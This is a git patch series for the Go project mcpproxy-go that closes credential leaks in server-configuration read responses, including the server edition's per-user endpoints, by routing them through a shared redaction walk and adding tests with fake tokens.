slice is a command-line argument vector. -// Covers the `args` config field (config.MergeServerConfig's diff) and the -// `args_json` tool parameter (the suffix is trimmed before the walk). -func isActivityArgvKey(key string) bool { - return strings.EqualFold(key, "args") -} - -// redactArgvWith masks a command-line argument vector reached through the -// generic JSON walk. The argv rules themselves live in oauth.Redaction.Argv so -// the MCP and REST doors share one implementation (issue #1148, round 4). -// -// Non-string elements (only reachable from a malformed `args_json` payload) -// carry no flag semantics: they are walked with no enclosing key and stand in -// as an empty token, which resets the flag pairing exactly as the typed walk -// did. -func redactArgvWith(argv []interface{}, r redactionPolicy) []interface{} { - tokens := make([]string, len(argv)) - for i, item := range argv { - if s, ok := item.(string); ok { - tokens[i] = s - } - } - masked := r.Argv(tokens) - - out := make([]interface{}, len(argv)) - for i, item := range argv { - if _, ok := item.(string); !ok { - out[i] = redactValueWith("", item, r) - continue - } - out[i] = r.capString(masked[i]) - } - return out -} - // maskDetectedSecrets masks any credential the value-shaped detector // recognises, leaving text it does not recognise untouched. func maskDetectedSecrets(s string) string { return oauth.MaskDetectedSecrets(s) } - -// isActivityHeadersKey reports whether a map should be masked with HTTP-header -// semantics. Covers both the `headers` config field and the `headers_json` tool -// parameter (the suffix is trimmed before the walk). -func isActivityHeadersKey(key string) bool { - return oauth.IsHeadersFieldName(key) -} - -// isActivityEnvKey reports whether a map should be masked with -// environment-variable semantics. Covers both the `env` config field and the -// `env_json` tool parameter (the suffix is trimmed before the walk). -func isActivityEnvKey(key string) bool { - return strings.EqualFold(key, "env") -} diff --git a/internal/server/mcp_isolation_redaction_round7_test.go b/internal/server/mcp_isolation_redaction_round7_test.go new file mode 100644 index 000000000..a97c91fe1 --- /dev/null +++ b/internal/server/mcp_isolation_redaction_round7_test.go @@ -0,0 +1,117 @@ +package server + +import ( + "context" + "encoding/json" + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + + "github.com/mark3labs/mcp-go/mcp" + + "github.com/smart-mcp-proxy/mcpproxy-go/internal/auth" + "github.com/smart-mcp-proxy/mcpproxy-go/internal/config" +) + +// Issue #1148, round 7 finding 3. `upstream_servers list` masked env, url, +// headers and args and then republished the isolation configuration RAW in the +// SAME payload: +// +// servers[].docker_isolation.server_isolation.extra_args — the per-server override +// docker_status.isolation_config — the WHOLE global block +// +// `extra_args` is free text an operator puts `-e API_KEY=` into, and the +// global block is where one credential is configured for every isolated server +// at once. Both were built by reading the config struct field by field, which +// is why they were never covered by the walk that masks everything else. +const round7IsolationToken = "ghp_1234567890abcdefghijABCDEFGHIJ123456" + +func TestUpstreamServersList_MasksIsolationConfig(t *testing.T) { + p := createTestMCPProxyServer(t) + p.config.DockerIsolation = &config.DockerIsolationConfig{ + Enabled: true, + ExtraArgs: []string{"-e", "GLOBAL_API_KEY=" + round7IsolationToken}, + } + require.NoError(t, p.storage.SaveUpstreamServer(&config.ServerConfig{ + Name: "srv", + Protocol: "stdio", + Command: "uvx", + Enabled: true, + Isolation: &config.IsolationConfig{ + ExtraArgs: []string{"-e", "SERVER_API_KEY=" + round7IsolationToken}, + }, + })) + + result, err := p.handleListUpstreams(auth.WithAuthContext(context.Background(), auth.AnonymousContext())) + require.NoError(t, err) + body := toolResultText(t, result) + + assert.NotContains(t, body, round7IsolationToken, + "the isolation configuration published a credential in the clear") + // The field NAMES stay: masked-but-present is the whole point — an operator + // must still see WHICH variable is configured. + assert.Contains(t, body, "extra_args") + assert.Contains(t, body, "SERVER_API_KEY") + assert.Contains(t, body, "GLOBAL_API_KEY") +} + +// The reveal opt-in still works for an authenticated admin, exactly as it does +// for env/headers/url — the gate is the same one, not a new special case. +func TestUpstreamServersList_RevealSecretHeadersStillRevealsIsolation(t *testing.T) { + p := createTestMCPProxyServer(t) + p.config.RevealSecretHeaders = true + p.config.DockerIsolation = &config.DockerIsolationConfig{ + Enabled: true, + ExtraArgs: []string{"-e", "GLOBAL_API_KEY=" + round7IsolationToken}, + } + require.NoError(t, p.storage.SaveUpstreamServer(&config.ServerConfig{ + Name: "srv", + Protocol: "stdio", + Command: "uvx", + Enabled: true, + Isolation: &config.IsolationConfig{ + ExtraArgs: []string{"-e", "SERVER_API_KEY=" + round7IsolationToken}, + }, + })) + + result, err := p.handleListUpstreams(auth.WithAuthContext(context.Background(), auth.AdminContext())) + require.NoError(t, err) + assert.Contains(t, toolResultText(t, result), round7IsolationToken, + "reveal_secret_headers must keep working for an authenticated admin") +} + +// Round 7 finding 1, through the real doors: read the redacted isolation block +// off the MCP read surface and echo it straight back at the MCP write door. +// +// The read door renders `-e API_KEY=` as `-e API_KEY=***REDACTED***` +// (RedactSensitiveData), and the fail-closed net did not recognise that +// rendering — so the echo was ACCEPTED and the mask persisted over the live +// credential. The net is now derived from the renderers, so it refuses. +func TestBuildPatchConfig_RefusesAnEchoedRedactedMarker(t *testing.T) { + p := createTestMCPProxyServer(t) + stored := &config.ServerConfig{ + Name: "srv", + Command: "uvx", + Enabled: true, + Isolation: &config.IsolationConfig{ExtraArgs: []string{"-e", "API_KEY=" + round7IsolationToken}}, + } + + view := redactedServerView(stored, liveRedaction) + isolationEcho, err := json.Marshal(view["isolation"]) + require.NoError(t, err) + require.NotContains(t, string(isolationEcho), round7IsolationToken, + "precondition: the read door masks isolation.extra_args") + + request := mcp.CallToolRequest{} + request.Params.Arguments = map[string]interface{}{ + "operation": "patch", + "name": "srv", + "isolation_json": string(isolationEcho), + } + + patch, _, err := p.buildPatchConfigFromRequest(request, stored) + require.Error(t, err, "an echoed read-door mask must be refused, not persisted over the credential") + assert.Nil(t, patch) + assert.Contains(t, err.Error(), "redaction placeholder") +} diff --git a/internal/server/mcp_server_view.go b/internal/server/mcp_server_view.go index d73ea90ca..6909718b2 100644 --- a/internal/server/mcp_server_view.go +++ b/internal/server/mcp_server_view.go @@ -105,7 +105,7 @@ func scrubUpstreamText(s string) string { // adds the activity store's size cap so one enormous upstream error cannot // bloat BBolt, which is the only thing the two paths need to differ on. func scrubUpstreamTextForAudit(s string) string { - return auditRedaction.capString(scrubUpstreamText(s)) + return auditRedaction.CapString(scrubUpstreamText(s)) } // scrubbedConnectionStatus returns a copy of a managed client's @@ -196,7 +196,7 @@ func viewString(view map[string]interface{}, key, fallback string) string { func redactedArgs(args []string, r redactionPolicy) []string { masked := r.Argv(args) for i, m := range masked { - masked[i] = r.capString(m) + masked[i] = r.CapString(m) } return masked } @@ -333,3 +333,55 @@ func inspectConnectionFailedAnalysis(serverName string, status map[string]interf "security_note": "Connection failure prevents tool analysis. Server must be stable and connected for security inspection.", }} } + +// isolationValues renders one server's per-server isolation override as a +// generic map with every secret-bearing leaf masked. +// +// Issue #1148, round 7 finding 3. `upstream_servers list` built its +// `docker_isolation.server_isolation` block by reading the config struct field +// by field, so `extra_args` — free text an operator puts `-e API_KEY=` +// into — was republished verbatim in the SAME response that masked env, url and +// args. Sourcing the values from the shared walk instead means a field added to +// config.IsolationConfig is masked because the walk reaches it. +// +// `reveal` is the caller's authenticated `reveal_secret_headers` opt-in; it is +// honoured here exactly as it is for env/headers/url, so an operator who asked +// for raw values still gets them and nobody else does. +// +// A walk that cannot round-trip fails CLOSED: an empty map publishes nothing. +func isolationValues(iso *config.IsolationConfig, reveal bool) map[string]interface{} { + if iso == nil { + return map[string]interface{}{} + } + normalized, ok := normalizeForRedaction(iso).(map[string]interface{}) + if !ok { + return map[string]interface{}{} + } + if reveal { + return normalized + } + redacted, ok := redactValueWith("isolation", normalized, liveRedaction).(map[string]interface{}) + if !ok { + return map[string]interface{}{} + } + return redacted +} + +// globalIsolationView renders the GLOBAL docker_isolation block for the +// `docker_status` section of `upstream_servers list`, masked under the same +// rule and the same reveal gate. +// +// It used to be the raw *config.DockerIsolationConfig, so the global +// `extra_args` — one place an operator configures a registry credential for +// every isolated server at once — travelled out of this surface in the clear. +// Returns nil for nil so the payload keeps emitting `null` as before. +func globalIsolationView(global *config.DockerIsolationConfig, reveal bool) interface{} { + if global == nil { + return nil + } + normalized := normalizeForRedaction(global) + if reveal { + return normalized + } + return redactValueWith("docker_isolation", normalized, liveRedaction) +} From ad22f08e21460b0ecb14206d9f01394f96d43921 Mon Sep 17 00:00:00 2001 From: Algis Dumbris Date: Tue, 1 Sep 2026 12:54:34 +0300 Subject: [PATCH 08/10] fix(security): mask shared servers on the server edition's per-user door MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The server edition's ServerResponse EMBEDS the raw *config.ServerConfig, and for a SHARED server that config is the admin's, not the caller's. listServers, getServer and enableServer each built it unredacted, so every authenticated user of a deployment was handed the admin-configured upstreams' `headers` (Authorization, X-API-Key), `env`, URL query credentials, `oauth.client_secret`, `auth_broker.client_secret` and `isolation.extra_args` in the clear. Same defect class as #1148, on a door that sweep did not reach — and reached by the same cure: the rule is the shared one, applied through a walk rather than a field list. - internal/oauth/serverconfigfields.go is the *config.ServerConfig analogue of RedactServerSecretFields. RedactedServerConfigView (the map form) MOVES here out of internal/server, and RedactServerConfigSecrets returns a masked COPY for a door that must hand back the struct. Both walk the config under oauth.LiveRedaction, so a field added to ServerConfig — or to the build-tagged auth_broker block, whose fields internal/oauth cannot name in the personal edition — is masked because the walk reaches it. The typed copy decodes into a FRESH struct: h.sharedServers is the live admin config, and writing a mask through it would be the #1142/#1146 corruption with the whole deployment as the blast radius. It fails closed to {name}. - internal/server/mcp_server_view.go now delegates. One walker serves the MCP view, the REST/SSE view and this one; a rule reachable from only some of its doors is what every round of #1148 has been. PERSONAL servers are deliberately left unmasked and the reason is pinned in a test: they are the caller's own credentials, and updateServer replaces URL, Args and Headers WHOLESALE, so masking them without a key-bound unmask mirror would let a read-modify-write client persist the masks over real secrets. Masking the SHARED half is safe precisely because it is read-only to users — update and delete answer 403, and enable stores a per-user preference. ServerFieldMaskDecisions needs no new rows: the walk reuses paths it already covers, and TestServerFieldMaskDecisions_CoverEveryNestedLeaf passes under both build tags. Tests: per-handler secret checks, a live-config-not-mutated check, the personal-stays-unmasked pin, reflection-derived "every text leaf whose decision is not not-secret must be masked", no-aliasing, non-secret-fields-survive-the- round-trip, and typed-copy-equals-map-view parity. The fail-closed net walks chi's OWN route table, so a fourth route registered under /user/servers is covered the moment it exists rather than when somebody remembers it. Co-Authored-By: Claude Opus 5 --- internal/oauth/serverconfigfields.go | 113 ++++++++ internal/oauth/serverconfigfields_test.go | 204 ++++++++++++++ internal/server/mcp_server_view.go | 34 +-- internal/serveredition/api/user_handlers.go | 60 +++-- .../api/user_handlers_redaction_test.go | 249 ++++++++++++++++++ 5 files changed, 620 insertions(+), 40 deletions(-) create mode 100644 internal/oauth/serverconfigfields.go create mode 100644 internal/oauth/serverconfigfields_test.go create mode 100644 internal/serveredition/api/user_handlers_redaction_test.go diff --git a/internal/oauth/serverconfigfields.go b/internal/oauth/serverconfigfields.go new file mode 100644 index 000000000..66551f009 --- /dev/null +++ b/internal/oauth/serverconfigfields.go @@ -0,0 +1,113 @@ +package oauth + +import ( + "encoding/json" + + "github.com/smart-mcp-proxy/mcpproxy-go/internal/config" +) + +// Issue #1148: the *config.ServerConfig analogue of RedactServerSecretFields. +// +// RedactServerSecretFields covers contracts.Server — the REST/SSE projection. +// But three doors hand out the CONFIG STRUCT ITSELF: the MCP +// `upstream_servers list` / `quarantine_security list_quarantined` payloads, +// and (server edition) `GET|POST /api/v1/user/servers…`, whose ServerResponse +// EMBEDS *config.ServerConfig. The MCP door grew its own copy of this logic in +// internal/server; the server-edition door had none at all, so every +// authenticated user of a deployment was handed the ADMIN-configured shared +// upstreams' `headers` (Authorization, X-API-Key), `env`, URL query +// credentials, `oauth.client_secret` and `auth_broker.client_secret` in the +// clear. +// +// So the rule lives here, once, beside the leaf rules and the walk — below +// internal/server, internal/httpapi and internal/serveredition in the import +// graph, which is the only place all three doors can reach. +// +// It is deliberately a WALK, not a field list. An allowlist encodes today's +// field set and silently leaks tomorrow's; that is the shape this issue has +// produced at every door. The config is marshalled through its own MarshalJSON +// and the resulting generic map is walked by the shared rules, so a field added +// to ServerConfig — or to a build-tagged block like `auth_broker`, whose fields +// this package cannot even name in the personal edition — is masked because the +// walk reaches it. +// +// The write-path answer for every field is recorded in +// ServerFieldMaskDecisions, and TestServerFieldMaskDecisions_CoverEveryNestedLeaf +// walks config.ServerConfig to enforce that every text-carrying leaf has one. + +// RedactedServerConfigView renders one server config as a generic JSON map with +// every secret-bearing leaf masked under the given policy. +// +// Pass LiveRedaction for an interactive read surface (it keeps MaskValue's +// `•••• ( chars)` rendering, which the write-path unmaskers +// recognise) and AuditRedaction for anything persisted. Returns nil for a nil +// config. +// +// The view must stay a MAP for a JSON-rendering caller: config.ServerConfig +// declares MarshalJSON/UnmarshalJSON and Go promotes those to any struct that +// embeds it, so an embedding wrapper silently drops its own fields on encode +// (see the warning on config.ServerConfig.UnmarshalJSON). +func RedactedServerConfigView(sc *config.ServerConfig, r Redaction) map[string]interface{} { + if sc == nil { + return nil + } + + normalized, ok := NormalizeForRedaction(sc).(map[string]interface{}) + if !ok { + // ServerConfig always marshals to an object; a failure here can only + // mean the encoder broke. Fail CLOSED — an empty view loses + // information, a raw struct loses secrets. + return map[string]interface{}{"name": sc.Name} + } + + redacted, ok := r.Value("", normalized).(map[string]interface{}) + if !ok { + return map[string]interface{}{"name": sc.Name} + } + return redacted +} + +// RedactedServerConfigViews renders a slice of server configs, skipping nils. +func RedactedServerConfigViews(servers []*config.ServerConfig, r Redaction) []map[string]interface{} { + out := make([]map[string]interface{}, 0, len(servers)) + for _, sc := range servers { + if sc == nil { + continue + } + out = append(out, RedactedServerConfigView(sc, r)) + } + return out +} + +// RedactServerConfigSecrets returns a masked COPY of sc under the LIVE policy, +// for a door that must hand back a *config.ServerConfig rather than a map (the +// server edition's ServerResponse embeds one). +// +// The input is never mutated and the result shares no map, slice or pointer +// with it: the masked view is decoded into a FRESH struct. That matters because +// the caller's config is typically the LIVE one — `h.sharedServers` is the +// admin's running configuration, and writing a mask through it would be the +// #1142/#1146 corruption with a whole deployment's upstreams as the blast +// radius. +// +// It FAILS CLOSED. If the masked view cannot be decoded back into a +// ServerConfig, the result carries the server's name and nothing else: a +// caller that loses fields is a bug report, a caller that publishes an +// unredacted credential is this issue. +// +// Returns nil for a nil config. +func RedactServerConfigSecrets(sc *config.ServerConfig) *config.ServerConfig { + if sc == nil { + return nil + } + view := RedactedServerConfigView(sc, LiveRedaction) + encoded, err := json.Marshal(view) + if err != nil { + return &config.ServerConfig{Name: sc.Name} + } + masked := &config.ServerConfig{} + if err := json.Unmarshal(encoded, masked); err != nil { + return &config.ServerConfig{Name: sc.Name} + } + return masked +} diff --git a/internal/oauth/serverconfigfields_test.go b/internal/oauth/serverconfigfields_test.go new file mode 100644 index 000000000..967eb296a --- /dev/null +++ b/internal/oauth/serverconfigfields_test.go @@ -0,0 +1,204 @@ +package oauth + +import ( + "reflect" + "testing" + "time" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + + "github.com/smart-mcp-proxy/mcpproxy-go/internal/config" +) + +// Issue #1148: the *config.ServerConfig door. RedactServerConfigSecrets is what +// the server edition's `GET /api/v1/user/servers` hands an ordinary user for an +// ADMIN-configured shared upstream, so a leaf that escapes it is a +// cross-tenant credential disclosure. + +// The same general form as TestRedactServerSecretFields_MasksEverySecretBearingLeaf, +// derived from the decision table rather than from a list of fields somebody +// remembered: fill EVERY text-carrying leaf of config.ServerConfig with a +// credential, redact, and require that the only places it survives are the ones +// explicitly recorded as not-secret. +func TestRedactServerConfigSecrets_MasksEverySecretBearingLeaf(t *testing.T) { + sc := &config.ServerConfig{} + fillTextLeaves(reflect.ValueOf(sc).Elem(), ghpToken) + + masked := RedactServerConfigSecrets(sc) + require.NotNil(t, masked) + + for _, path := range findTokenPaths(t, masked, ghpToken) { + decision := decisionForPath(path) + assert.Equal(t, MaskDecisionNotSecret, decision, + "config.ServerConfig.%s published the credential verbatim, but its decision is %q — "+ + "a field that can carry a secret must be masked on this door too", path, decision) + } +} + +// The named shapes, spelled out, so a regression reads as the credential it is +// rather than as a reflection walk. +func TestRedactServerConfigSecrets_MasksTheNamedShapes(t *testing.T) { + sc := secretBearingServerConfig() + + masked := RedactServerConfigSecrets(sc) + require.NotNil(t, masked) + + assert.NotContains(t, masked.Headers["Authorization"], "hdrsecretvalue") + assert.NotContains(t, masked.Headers["X-Api-Key"], "apikeysecretvalue") + assert.NotContains(t, masked.Env["GITHUB_TOKEN"], "envsecretvalue") + assert.NotContains(t, masked.URL, "urlsecretvalue") + assert.NotContains(t, masked.OAuth.ClientSecret, "oauthsecretvalue") + for _, arg := range masked.Args { + assert.NotContains(t, arg, "argvsecretvalue") + } + for _, arg := range masked.Isolation.ExtraArgs { + assert.NotContains(t, arg, "isosecretvalue") + } + + // Still readable: the mask says WHICH credential is configured, it does not + // blank the payload. + assert.Equal(t, "https", mustParseScheme(t, masked.URL)) + assert.Contains(t, masked.Headers, "Authorization") + assert.Contains(t, masked.Env, "GITHUB_TOKEN") +} + +// The caller's config is typically the LIVE one (`h.sharedServers` is the +// admin's running configuration), so rendering a read response must neither +// mutate it nor hand back anything that still aliases it — writing a mask +// through a shared backing array is the #1142/#1146 corruption with a whole +// deployment as the blast radius. +func TestRedactServerConfigSecrets_LeavesTheInputUntouched(t *testing.T) { + sc := secretBearingServerConfig() + pristine := secretBearingServerConfig() + + masked := RedactServerConfigSecrets(sc) + require.NotNil(t, masked) + + assert.Equal(t, pristine, sc, "redacting a read payload mutated the config it was built from") + + // No shared backing storage: mutating the masked copy must not reach the + // original. + masked.Headers["Authorization"] = "rewritten" + masked.Env["GITHUB_TOKEN"] = "rewritten" + masked.Args[0] = "rewritten" + masked.Isolation.ExtraArgs[0] = "rewritten" + masked.OAuth.ClientSecret = "rewritten" + assert.Equal(t, pristine, sc, "the masked copy still aliases the live config") +} + +// RedactServerConfigSecrets decodes the masked view back into a ServerConfig, +// so a field that does not survive that round trip would silently vanish from +// the response. Pin the structural (non-secret) fields. +func TestRedactServerConfigSecrets_PreservesNonSecretFields(t *testing.T) { + autoApprove := true + exposePrompts := false + maxConcurrent := 7 + interval := config.Duration(90 * time.Second) + sc := &config.ServerConfig{ + Name: "shared-github", + Protocol: "http", + Command: "npx", + WorkingDir: "/srv/mcp", + URL: "https://api.github.com/mcp", + Enabled: true, + Quarantined: true, + TrustMode: string(config.TrustModeScan), + Shared: true, + Created: time.Date(2026, 1, 1, 0, 0, 0, 0, time.UTC), + Updated: time.Date(2026, 2, 2, 0, 0, 0, 0, time.UTC), + ReconnectOnUse: true, + AutoApproveToolChanges: &autoApprove, + ExposePrompts: &exposePrompts, + MaxConcurrentRequests: &maxConcurrent, + HealthCheckInterval: &interval, + LauncherWaitTimeout: config.Duration(45 * time.Second), + ToonOutput: "adaptive", + EnabledTools: []string{"create_issue"}, + SourceRegistryID: "official", + SourceRegistryProvenance: "official", + } + + masked := RedactServerConfigSecrets(sc) + require.NotNil(t, masked) + + assert.Equal(t, sc.Name, masked.Name) + assert.Equal(t, sc.Protocol, masked.Protocol) + assert.Equal(t, sc.Command, masked.Command) + assert.Equal(t, sc.WorkingDir, masked.WorkingDir) + assert.Equal(t, sc.URL, masked.URL, "a URL with no credential in it must round-trip verbatim") + assert.Equal(t, sc.Enabled, masked.Enabled) + assert.Equal(t, sc.Quarantined, masked.Quarantined) + assert.Equal(t, sc.TrustMode, masked.TrustMode) + assert.Equal(t, sc.Shared, masked.Shared) + assert.Equal(t, sc.Created, masked.Created) + assert.Equal(t, sc.Updated, masked.Updated) + assert.Equal(t, sc.ReconnectOnUse, masked.ReconnectOnUse) + require.NotNil(t, masked.AutoApproveToolChanges) + assert.True(t, *masked.AutoApproveToolChanges) + require.NotNil(t, masked.ExposePrompts) + assert.False(t, *masked.ExposePrompts, "an explicit false must survive as an explicit false") + require.NotNil(t, masked.MaxConcurrentRequests) + assert.Equal(t, maxConcurrent, *masked.MaxConcurrentRequests) + require.NotNil(t, masked.HealthCheckInterval) + assert.Equal(t, interval, *masked.HealthCheckInterval) + assert.Equal(t, sc.LauncherWaitTimeout, masked.LauncherWaitTimeout) + assert.Equal(t, sc.ToonOutput, masked.ToonOutput) + assert.Equal(t, sc.EnabledTools, masked.EnabledTools) + assert.Equal(t, sc.SourceRegistryID, masked.SourceRegistryID) + assert.Equal(t, sc.SourceRegistryProvenance, masked.SourceRegistryProvenance) +} + +func TestRedactServerConfigSecrets_NilIsNil(t *testing.T) { + assert.Nil(t, RedactServerConfigSecrets(nil)) + assert.Nil(t, RedactedServerConfigView(nil, LiveRedaction)) +} + +// The view and the typed copy are the SAME rule seen through two shapes: the +// MCP doors take the map, the server edition's ServerResponse takes the struct. +// A door that drifted from the other is what this issue keeps producing. +func TestRedactServerConfigSecrets_AgreesWithTheMapView(t *testing.T) { + sc := secretBearingServerConfig() + + view := RedactedServerConfigView(sc, LiveRedaction) + typed := RedactServerConfigSecrets(sc) + require.NotNil(t, typed) + + assert.Equal(t, view, NormalizeForRedaction(typed), + "the typed copy and the map view must render the same payload") +} + +func secretBearingServerConfig() *config.ServerConfig { + return &config.ServerConfig{ + Name: "shared-secrets", + URL: "https://api.example.com/mcp?access_token=urlsecretvalue1234567890", + Protocol: "http", + Command: "npx", + Args: []string{"server", "--api-key", "argvsecretvalue1234567890"}, + Env: map[string]string{"GITHUB_TOKEN": "envsecretvalue1234567890"}, + Headers: map[string]string{ + "Authorization": "Bearer hdrsecretvalue1234567890", + "X-Api-Key": "apikeysecretvalue1234567890", + }, + OAuth: &config.OAuthConfig{ + ClientID: "public-client-id", + ClientSecret: "oauthsecretvalue1234567890", + }, + Isolation: &config.IsolationConfig{ + ExtraArgs: []string{"-e", "API_KEY=isosecretvalue1234567890"}, + }, + Enabled: true, + Shared: true, + Created: time.Date(2026, 1, 1, 0, 0, 0, 0, time.UTC), + } +} + +func mustParseScheme(t *testing.T, raw string) string { + t.Helper() + for i := 0; i < len(raw); i++ { + if raw[i] == ':' { + return raw[:i] + } + } + return "" +} diff --git a/internal/server/mcp_server_view.go b/internal/server/mcp_server_view.go index 6909718b2..e8336abdd 100644 --- a/internal/server/mcp_server_view.go +++ b/internal/server/mcp_server_view.go @@ -41,36 +41,20 @@ import ( // Pass liveRedaction for an interactive MCP read surface (keeps the // `•••• ( chars)` rendering the patch-path unmaskers recognise) and // auditRedaction for anything persisted. Returns nil for a nil config. +// +// It is a thin alias for oauth.RedactedServerConfigView. The rule moved into +// internal/oauth beside the leaf rules and the walk once a THIRD door onto +// config.ServerConfig turned up — the server edition's +// `GET /api/v1/user/servers`, which embeds the struct in its ServerResponse and +// cannot import internal/server. A rule reachable from only some of its doors +// is what every round of #1148 has been. func redactedServerView(sc *config.ServerConfig, r redactionPolicy) map[string]interface{} { - if sc == nil { - return nil - } - - normalized, ok := normalizeForRedaction(sc).(map[string]interface{}) - if !ok { - // ServerConfig always marshals to an object; a failure here can only - // mean the encoder broke. Fail CLOSED — an empty view loses - // information, a raw struct loses secrets. - return map[string]interface{}{"name": sc.Name} - } - - redacted, ok := redactValueWith("", normalized, r).(map[string]interface{}) - if !ok { - return map[string]interface{}{"name": sc.Name} - } - return redacted + return oauth.RedactedServerConfigView(sc, r) } // redactedServerViews renders a slice of server configs, skipping nils. func redactedServerViews(servers []*config.ServerConfig, r redactionPolicy) []map[string]interface{} { - out := make([]map[string]interface{}, 0, len(servers)) - for _, sc := range servers { - if sc == nil { - continue - } - out = append(out, redactedServerView(sc, r)) - } - return out + return oauth.RedactedServerConfigViews(servers, r) } // scrubUpstreamText scrubs free-form text that originated OUTSIDE mcpproxy's diff --git a/internal/serveredition/api/user_handlers.go b/internal/serveredition/api/user_handlers.go index ae3e2db04..141fd56d0 100644 --- a/internal/serveredition/api/user_handlers.go +++ b/internal/serveredition/api/user_handlers.go @@ -15,6 +15,7 @@ import ( "github.com/smart-mcp-proxy/mcpproxy-go/internal/auth" "github.com/smart-mcp-proxy/mcpproxy-go/internal/config" + "github.com/smart-mcp-proxy/mcpproxy-go/internal/oauth" "github.com/smart-mcp-proxy/mcpproxy-go/internal/serveredition/users" ) @@ -202,6 +203,45 @@ type ServerListResponse struct { Shared []*ServerResponse `json:"shared"` } +// sharedServerResponse renders one ADMIN-CONFIGURED shared server for an +// ordinary user, with every secret-bearing field masked. +// +// Issue #1148, applied to the server edition's per-user door. ServerResponse +// EMBEDS the raw *config.ServerConfig, and for a shared server that config is +// the ADMIN's: its `headers` (Authorization, X-API-Key), `env`, URL query +// credentials, `oauth.client_secret` and `auth_broker.client_secret` were +// handed to every authenticated user of the deployment in the clear, on +// listServers, getServer and enableServer alike. This is the same defect class +// the MCP, REST and SSE doors closed; this door that sweep did not reach. +// +// The rules are oauth.LiveRedaction — the SAME ones every other door applies — +// reached through oauth.RedactServerConfigSecrets, which walks the struct +// rather than enumerating it, so a field added to config.ServerConfig (or to +// the build-tagged auth_broker block) is masked because the walk reaches it. +// +// It returns a masked COPY: `h.sharedServers` is the LIVE admin configuration, +// and writing a mask through it would be the #1142/#1146 read-modify-write +// corruption with every user of the deployment as the blast radius. +// +// Masking is safe here — and ONLY here — because shared servers are READ-ONLY +// to users: updateServer and deleteServer both answer 403, and enableServer +// stores a per-user preference without touching the shared config. So there is +// no write path that could persist an echoed mask over the real credential, +// which is the hazard every other door on this issue had to guard against. +// PERSONAL servers are deliberately NOT masked: they are the caller's own +// credentials (no cross-tenant disclosure to close), and updateServer replaces +// URL, Args and Headers WHOLESALE from the request body, so masking them +// without a key-bound unmask mirror (oauth.UnmaskLiveHeaders / UnmaskLiveURL + +// oauth.CheckArgvMaskEcho) would let a read-modify-write client persist the +// masks over the user's real secrets. +func sharedServerResponse(sc *config.ServerConfig, userEnabled *bool) *ServerResponse { + return &ServerResponse{ + ServerConfig: oauth.RedactServerConfigSecrets(sc), + Ownership: "shared", + UserEnabled: userEnabled, + } +} + // --- Handlers --- // listServers returns the user's personal servers and the shared (admin-configured) servers. @@ -238,15 +278,12 @@ func (h *UserHandlers) listServers(w http.ResponseWriter, r *http.Request) { shared := make([]*ServerResponse, 0) for _, sc := range h.sharedServers { if sc.Shared { - resp := &ServerResponse{ - ServerConfig: sc, - Ownership: "shared", - } + var userEnabled *bool // Apply user preference if set if pref, ok := sharedPrefs[sc.Name]; ok { - resp.UserEnabled = &pref.Enabled + userEnabled = &pref.Enabled } - shared = append(shared, resp) + shared = append(shared, sharedServerResponse(sc, userEnabled)) } } @@ -354,10 +391,7 @@ func (h *UserHandlers) getServer(w http.ResponseWriter, r *http.Request) { // Check shared servers. for _, shared := range h.sharedServers { if shared.Shared && strings.EqualFold(shared.Name, name) { - writeJSON(w, http.StatusOK, &ServerResponse{ - ServerConfig: shared, - Ownership: "shared", - }) + writeJSON(w, http.StatusOK, sharedServerResponse(shared, nil)) return } } @@ -515,11 +549,7 @@ func (h *UserHandlers) enableServer(w http.ResponseWriter, r *http.Request) { } h.logger.Infow("shared server user preference set", "user_id", userID, "name", name, "enabled", req.Enabled) - writeJSON(w, http.StatusOK, &ServerResponse{ - ServerConfig: shared, - Ownership: "shared", - UserEnabled: &req.Enabled, - }) + writeJSON(w, http.StatusOK, sharedServerResponse(shared, &req.Enabled)) return } } diff --git a/internal/serveredition/api/user_handlers_redaction_test.go b/internal/serveredition/api/user_handlers_redaction_test.go new file mode 100644 index 000000000..4c2702bb9 --- /dev/null +++ b/internal/serveredition/api/user_handlers_redaction_test.go @@ -0,0 +1,249 @@ +//go:build server + +package api + +import ( + "bytes" + "encoding/json" + "net/http" + "net/http/httptest" + "reflect" + "strings" + "testing" + "time" + + "github.com/go-chi/chi/v5" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + + "github.com/smart-mcp-proxy/mcpproxy-go/internal/config" +) + +// Issue #1148, applied to the server edition's per-user door. +// +// `GET /api/v1/user/servers`, `GET /api/v1/user/servers/{name}` and +// `POST /api/v1/user/servers/{name}/enable` all render a ServerResponse, which +// EMBEDS the raw *config.ServerConfig. For a SHARED server that config is the +// admin's, not the caller's — so every authenticated user of the deployment +// was handed the shared upstream's Authorization header, its env, its URL +// query credentials, `oauth.client_secret` and `auth_broker.client_secret` in +// the clear. Same defect class as the MCP/REST/SSE doors #1148 closed, on a +// door that sweep did not reach. + +const ( + sharedURLToken = "urlsecret_ZjQ2NTQ0NGY2NTc0NzQ2NQ" + sharedHeaderToken = "hdrsecret_MzM0NDU1NjY3Nzg4OTlhYQ" + sharedAPIKeyValue = "apikeysecret_YWJjZGVmMTIzNDU2Nzg5" + sharedEnvToken = "ghp_envsecret1234567890abcdefghijkl" + sharedArgvToken = "argvsecret_OTg3NjU0MzIxMGZlZGNiYQ" + sharedOAuthSecret = "oauthsecret_MTIzNDU2Nzg5MGFiY2RlZg" + sharedBrokerSecret = "brokersecret_ZmVkY2JhMDk4NzY1NDMy" + sharedIsolationArg = "isosecret_Nzg5MGFiY2RlZjEyMzQ1Ng" +) + +// sharedSecrets lists every credential the fixture below plants, so a new field +// cannot be added to the fixture without the assertions covering it. +func sharedSecrets() []string { + return []string{ + sharedURLToken, + sharedHeaderToken, + sharedAPIKeyValue, + sharedEnvToken, + sharedArgvToken, + sharedOAuthSecret, + sharedBrokerSecret, + sharedIsolationArg, + } +} + +// secretBearingSharedServer is one admin-configured SHARED server carrying a +// credential in every secret-bearing shape the config struct has. +func secretBearingSharedServer() *config.ServerConfig { + return &config.ServerConfig{ + Name: "shared-secrets", + URL: "https://api.example.com/mcp?access_token=" + sharedURLToken, + Protocol: "http", + Command: "npx", + Args: []string{"server", "--api-key", sharedArgvToken}, + Env: map[string]string{"GITHUB_TOKEN": sharedEnvToken}, + Headers: map[string]string{ + "Authorization": "Bearer " + sharedHeaderToken, + 